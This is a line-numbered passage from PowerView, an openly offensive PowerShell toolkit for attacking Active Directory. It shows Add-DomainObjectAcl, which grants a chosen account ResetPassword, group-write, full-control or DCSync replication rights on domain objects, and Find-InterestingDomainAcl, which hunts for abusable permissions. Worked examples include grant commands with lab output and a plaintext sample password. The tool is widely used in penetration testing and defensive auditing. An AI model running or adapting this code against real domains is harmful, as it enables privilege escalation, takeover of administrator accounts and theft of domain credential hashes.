8106 $Searcher = Get-DomainSearcher @SearcherArguments
8107
8108 $DomainGUIDMapArguments = @{}
8109 if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
8110 if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
8111 if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
8112 if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
8113 if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
8114
8115 # get a GUID -> name mapping
8116 if ($PSBoundParameters['ResolveGUIDs']) {
8117 $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
8118 }
8119 }
8120
8121 PROCESS {
8122 if ($Searcher) {
8123 $IdentityFilter = ''
8124 $Filter = ''
8125 $Identity | Where-Object {$_} | ForEach-Object {
8126 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
8127 if ($IdentityInstance -match '^S-1-.*') {
8128 $IdentityFilter += "(objectsid=$IdentityInstance)"
8129 }
8130 elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
8131 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
8132 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
8133 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
8134 # and rebuild the domain searcher
8135 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
8136 Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
8137 $SearcherArguments['Domain'] = $IdentityDomain
8138 $Searcher = Get-DomainSearcher @SearcherArguments
8139 if (-not $Searcher) {
8140 Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
8141 }
8142 }
8143 }
8144 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
8145 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
8146 $IdentityFilter += "(objectguid=$GuidByteString)"
8147 }
8148 elseif ($IdentityInstance.Contains('.')) {
8149 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
8150 }
8151 else {
8152 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
8153 }
8154 }
8155 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
8156 $Filter += "(|$IdentityFilter)"
8157 }
8158
8159 if ($PSBoundParameters['LDAPFilter']) {
8160 Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
8161 $Filter += "$LDAPFilter"
8162 }
8163
8164 if ($Filter) {
8165 $Searcher.filter = "(&$Filter)"
8166 }
8167 Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)"
8168
8169 $Results = $Searcher.FindAll()
8170 $Results | Where-Object {$_} | ForEach-Object {
8171 $Object = $_.Properties
8172
8173 if ($Object.objectsid -and $Object.objectsid[0]) {
8174 $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
8175 }
8176 else {
8177 $ObjectSid = $Null
8178 }
8179
8180 try {
8181 New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
8182 if ($PSBoundParameters['RightsFilter']) {
8183 $GuidFilter = Switch ($RightsFilter) {
8184 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
8185 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
8186 Default { '00000000-0000-0000-0000-000000000000' }
8187 }
8188 if ($_.ObjectType -eq $GuidFilter) {
8189 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
8190 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
8191 $Continue = $True
8192 }
8193 }
8194 else {
8195 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
8196 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
8197 $Continue = $True
8198 }
8199
8200 if ($Continue) {
8201 $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
8202 if ($GUIDs) {
8203 # if we're resolving GUIDs, map them them to the resolved hash table
8204 $AclProperties = @{}
8205 $_.psobject.properties | ForEach-Object {
8206 if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
8207 try {
8208 $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
8209 }
8210 catch {
8211 $AclProperties[$_.Name] = $_.Value
8212 }
8213 }
8214 else {
8215 $AclProperties[$_.Name] = $_.Value
8216 }
8217 }
8218 $OutObject = New-Object -TypeName PSObject -Property $AclProperties
8219 $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
8220 $OutObject
8221 }
8222 else {
8223 $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
8224 $_
8225 }
8226 }
8227 }
8228 }
8229 catch {
8230 Write-Verbose "[Get-DomainObjectAcl] Error: $_"
8231 }
8232 }
8233 }
8234 }
8235}
8236
8237
8238function Add-DomainObjectAcl {
8239<#
8240.SYNOPSIS
8241
8242Adds an ACL for a specific active directory object.
8243
8244AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
8245
8246Author: Will Schroeder (@harmj0y)
8247License: BSD 3-Clause
8248Required Dependencies: Get-DomainObject
8249
8250.DESCRIPTION
8251
8252This function modifies the ACL/ACE entries for a given Active Directory
8253target object specified by -TargetIdentity. Available -Rights are
8254'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
8255rights GUID can be set with -RightsGUID. These rights are granted on the target
8256object for the specified -PrincipalIdentity.
8257
8258.PARAMETER TargetIdentity
8259
8260A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
8261SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
8262for the domain object to modify ACLs for. Required. Wildcards accepted.
8263
8264.PARAMETER TargetDomain
8265
8266Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
8267
8268.PARAMETER TargetLDAPFilter
8269
8270Specifies an LDAP query string that is used to filter Active Directory object targets.
8271
8272.PARAMETER TargetSearchBase
8273
8274The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
8275Useful for OU queries.
8276
8277.PARAMETER PrincipalIdentity
8278
8279A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
8280SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
8281for the domain principal to add for the ACL. Required. Wildcards accepted.
8282
8283.PARAMETER PrincipalDomain
8284
8285Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
8286
8287.PARAMETER Server
8288
8289Specifies an Active Directory server (domain controller) to bind to.
8290
8291.PARAMETER SearchScope
8292
8293Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
8294
8295.PARAMETER ResultPageSize
8296
8297Specifies the PageSize to set for the LDAP searcher object.
8298
8299.PARAMETER ServerTimeLimit
8300
8301Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
8302
8303.PARAMETER Tombstone
8304
8305Switch. Specifies that the searcher should also return deleted/tombstoned objects.
8306
8307.PARAMETER Credential
8308
8309A [Management.Automation.PSCredential] object of alternate credentials
8310for connection to the target domain.
8311
8312.PARAMETER Rights
8313
8314Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
8315Defaults to 'All'.
8316
8317.PARAMETER RightsGUID
8318
8319Manual GUID representing the right to add to the target.
8320
8321.EXAMPLE
8322
8323$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
8324Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
8325
8326...
8327
8328Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
8329VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
8330VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
8331VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
8332VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
8333VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
8334VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
8335
8336Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
8337
8338AceQualifier : AccessAllowed
8339ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
8340ActiveDirectoryRights : ExtendedRight
8341ObjectAceType : User-Force-Change-Password
8342ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
8343InheritanceFlags : None
8344BinaryLength : 56
8345AceType : AccessAllowedObject
8346ObjectAceFlags : ObjectAceTypePresent
8347IsCallback : False
8348PropagationFlags : None
8349SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
8350AccessMask : 256
8351AuditFlags : None
8352IsInherited : False
8353AceFlags : None
8354InheritedObjectAceType : All
8355OpaqueLength : 0
8356
8357.EXAMPLE
8358
8359$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
8360Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
8361
8362[no results returned]
8363
8364$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
8365$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
8366Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
8367VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
8368VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
8369VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
8370VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
8371VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
8372VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
8373VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
8374VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
8375VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
8376VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
8377VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
8378VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
8379
8380Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
8381
8382AceQualifier : AccessAllowed
8383ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
8384ActiveDirectoryRights : ExtendedRight
8385ObjectAceType : User-Force-Change-Password
8386ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
8387InheritanceFlags : None
8388BinaryLength : 56
8389AceType : AccessAllowedObject
8390ObjectAceFlags : ObjectAceTypePresent
8391IsCallback : False
8392PropagationFlags : None
8393SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
8394AccessMask : 256
8395AuditFlags : None
8396IsInherited : False
8397AceFlags : None
8398InheritedObjectAceType : All
8399OpaqueLength : 0
8400
8401.LINK
8402
8403https://adsecurity.org/?p=1906
8404https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
8405#>
8406
8407 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
8408 [CmdletBinding()]
8409 Param (
8410 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
8411 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
8412 [String[]]
8413 $TargetIdentity,
8414
8415 [ValidateNotNullOrEmpty()]
8416 [String]
8417 $TargetDomain,
8418
8419 [ValidateNotNullOrEmpty()]
8420 [Alias('Filter')]
8421 [String]
8422 $TargetLDAPFilter,
8423
8424 [ValidateNotNullOrEmpty()]
8425 [String]
8426 $TargetSearchBase,
8427
8428 [Parameter(Mandatory = $True)]
8429 [ValidateNotNullOrEmpty()]
8430 [String[]]
8431 $PrincipalIdentity,
8432
8433 [ValidateNotNullOrEmpty()]
8434 [String]
8435 $PrincipalDomain,
8436
8437 [ValidateNotNullOrEmpty()]
8438 [Alias('DomainController')]
8439 [String]
8440 $Server,
8441
8442 [ValidateSet('Base', 'OneLevel', 'Subtree')]
8443 [String]
8444 $SearchScope = 'Subtree',
8445
8446 [ValidateRange(1, 10000)]
8447 [Int]
8448 $ResultPageSize = 200,
8449
8450 [ValidateRange(1, 10000)]
8451 [Int]
8452 $ServerTimeLimit,
8453
8454 [Switch]
8455 $Tombstone,
8456
8457 [Management.Automation.PSCredential]
8458 [Management.Automation.CredentialAttribute()]
8459 $Credential = [Management.Automation.PSCredential]::Empty,
8460
8461 [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
8462 [String]
8463 $Rights = 'All',
8464
8465 [Guid]
8466 $RightsGUID
8467 )
8468
8469 BEGIN {
8470 $TargetSearcherArguments = @{
8471 'Properties' = 'distinguishedname'
8472 'Raw' = $True
8473 }
8474 if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
8475 if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
8476 if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
8477 if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
8478 if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
8479 if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
8480 if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
8481 if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
8482 if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
8483
8484 $PrincipalSearcherArguments = @{
8485 'Identity' = $PrincipalIdentity
8486 'Properties' = 'distinguishedname,objectsid'
8487 }
8488 if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
8489 if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
8490 if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
8491 if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
8492 if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
8493 if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
8494 if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
8495 $Principals = Get-DomainObject @PrincipalSearcherArguments
8496 if (-not $Principals) {
8497 throw "Unable to resolve principal: $PrincipalIdentity"
8498 }
8499 }
8500
8501 PROCESS {
8502 $TargetSearcherArguments['Identity'] = $TargetIdentity
8503 $Targets = Get-DomainObject @TargetSearcherArguments
8504
8505 ForEach ($TargetObject in $Targets) {
8506
8507 $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
8508 $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
8509 $ACEs = @()
8510
8511 if ($RightsGUID) {
8512 $GUIDs = @($RightsGUID)
8513 }
8514 else {
8515 $GUIDs = Switch ($Rights) {
8516 # ResetPassword doesn't need to know the user's current password
8517 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
8518 # allows for the modification of group membership
8519 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
8520 # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
8521 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
8522 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
8523 # when applied to a domain's ACL, allows for the use of DCSync
8524 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
8525 }
8526 }
8527
8528 ForEach ($PrincipalObject in $Principals) {
8529 Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
8530
8531 try {
8532 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
8533
8534 if ($GUIDs) {
8535 ForEach ($GUID in $GUIDs) {
8536 $NewGUID = New-Object Guid $GUID
8537 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
8538 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
8539 }
8540 }
8541 else {
8542 # deault to GenericAll rights
8543 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
8544 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
8545 }
8546
8547 # add all the new ACEs to the specified object directory entry
8548 ForEach ($ACE in $ACEs) {
8549 Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
8550 $TargetEntry = $TargetObject.GetDirectoryEntry()
8551 $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
8552 $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
8553 $TargetEntry.PsBase.CommitChanges()
8554 }
8555 }
8556 catch {
8557 Write-Warning "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
8558 }
8559 }
8560 }
8561 }
8562}
8563
8564
8565function Find-InterestingDomainAcl {
8566<#
8567.SYNOPSIS
8568
8569Finds object ACLs in the current (or specified) domain with modification
8570rights set to non-built in objects.
8571
8572Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
8573
8574Author: Will Schroeder (@harmj0y)
8575License: BSD 3-Clause
8576Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
8577
8578.DESCRIPTION
8579
8580This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
8581and for each returned ACE entry it checks if principal security identifier
8582is *-1000 (meaning the account is not built in), and also checks if the rights for
8583the ACE mean the object can be modified by the principal. If these conditions are met,
8584then the security identifier SID is translated, the domain object is retrieved, and
8585additional IdentityReference* information is appended to the output object.
8586
8587.PARAMETER Domain
8588
8589Specifies the domain to use for the query, defaults to the current domain.
8590
8591.PARAMETER ResolveGUIDs
8592
8593Switch. Resolve GUIDs to their display names.
8594
8595.PARAMETER LDAPFilter
8596
8597Specifies an LDAP query string that is used to filter Active Directory objects.
8598
8599.PARAMETER SearchBase
8600
8601The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
8602Useful for OU queries.
8603
8604.PARAMETER Server
8605
8606Specifies an Active Directory server (domain controller) to bind to.
8607
8608.PARAMETER SearchScope
8609
8610Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
8611
8612.PARAMETER ResultPageSize
8613
8614Specifies the PageSize to set for the LDAP searcher object.
8615
8616.PARAMETER ServerTimeLimit
8617
8618Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
8619
8620.PARAMETER Tombstone
8621
8622Switch. Specifies that the searcher should also return deleted/tombstoned objects.
8623
8624.PARAMETER Credential
8625
8626A [Management.Automation.PSCredential] object of alternate credentials
8627for connection to the target domain.
8628
8629.EXAMPLE
8630
8631Find-InterestingDomainAcl
8632
8633Finds interesting object ACLS in the current domain.
8634
8635.EXAMPLE
8636
8637Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
8638
8639Finds interesting object ACLS in the ev.testlab.local domain and
8640resolves rights GUIDs to display names.
8641
8642.EXAMPLE
8643
8644$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
8645$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
8646Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
8647
8648.OUTPUTS
8649
8650PowerView.ACL
8651
8652Custom PSObject with ACL entries.
8653#>
8654
8655 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
8656 [OutputType('PowerView.ACL')]
8657 [CmdletBinding()]
8658 Param (
8659 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
8660 [Alias('DomainName', 'Name')]
8661 [String]
8662 $Domain,
8663
8664 [Switch]
8665 $ResolveGUIDs,
8666
8667 [String]
8668 [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
8669 $RightsFilter,
8670
8671 [ValidateNotNullOrEmpty()]
8672 [Alias('Filter')]
8673 [String]
8674 $LDAPFilter,
8675
8676 [ValidateNotNullOrEmpty()]
8677 [Alias('ADSPath')]
8678 [String]
8679 $SearchBase,
8680
8681 [ValidateNotNullOrEmpty()]
8682 [Alias('DomainController')]
8683 [String]
8684 $Server,
8685
8686 [ValidateSet('Base', 'OneLevel', 'Subtree')]
8687 [String]
8688 $SearchScope = 'Subtree',
8689
8690 [ValidateRange(1, 10000)]
8691 [Int]
8692 $ResultPageSize = 200,
8693
8694 [ValidateRange(1, 10000)]
8695 [Int]
8696 $ServerTimeLimit,
8697
8698 [Switch]
8699 $Tombstone,
8700
8701 [Management.Automation.PSCredential]
8702 [Management.Automation.CredentialAttribute()]
8703 $Credential = [Management.Automation.PSCredential]::Empty
8704 )
8705
8706 BEGIN {
8707 $ACLArguments = @{}
8708 if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
8709 if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
8710 if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
8711 if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
8712 if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
8713 if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
8714 if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
8715 if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
8716 if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
8717 if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
8718
8719 $ObjectSearcherArguments = @{
8720 'Properties' = 'samaccountname,objectclass'
8721 'Raw' = $True
8722 }
8723 if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
8724 if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
8725 if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
8726 if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
8727 if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
8728 if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
8729
8730 $ADNameArguments = @{}
8731 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
8732 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
8733
8734 # ongoing list of built-up SIDs
8735 $ResolvedSIDs = @{}
8736 }
8737
8738 PROCESS {
8739 if ($PSBoundParameters['Domain']) {
8740 $ACLArguments['Domain'] = $Domain
8741 $ADNameArguments['Domain'] = $Domain
8742 }
8743
8744 Get-DomainObjectAcl @ACLArguments | ForEach-Object {
8745
8746 if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
8747 # only process SIDs > 1000
8748 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
8749 if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
8750 $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
8751
8752 $InterestingACL = New-Object PSObject
8753 $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
8754 $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
8755 $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
8756 if ($_.ObjectAceType) {
8757 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
8758 }
8759 else {
8760 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
8761 }
8762 $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
8763 $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
8764 $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
8765 $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
8766 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
8767 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
8768 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
8769 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
8770 $InterestingACL
8771 }
8772 else {
8773 $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
8774 # "IdentityReferenceDN: $IdentityReferenceDN"
8775
8776 if ($IdentityReferenceDN) {
8777 $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
8778 # "IdentityReferenceDomain: $IdentityReferenceDomain"
8779 $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
8780 $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
8781 # "IdentityReferenceDN: $IdentityReferenceDN"
8782 $Object = Get-DomainObject @ObjectSearcherArguments
8783
8784 if ($Object) {
8785 $IdentityReferenceName = $Object.Properties.samaccountname[0]
8786 if ($Object.Properties.objectclass -match 'computer') {
8787 $IdentityReferenceClass = 'computer'
8788 }
8789 elseif ($Object.Properties.objectclass -match 'group') {
8790 $IdentityReferenceClass = 'group'
8791 }
8792 elseif ($Object.Properties.objectclass -match 'user') {
8793 $IdentityReferenceClass = 'user'
8794 }
8795 else {
8796 $IdentityReferenceClass = $Null
8797 }
8798
8799 # save so we don't look up more than once
8800 $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
8801
8802 $InterestingACL = New-Object PSObject
8803 $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
8804 $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
8805 $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
8806 if ($_.ObjectAceType) {
8807 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
8808 }
8809 else {
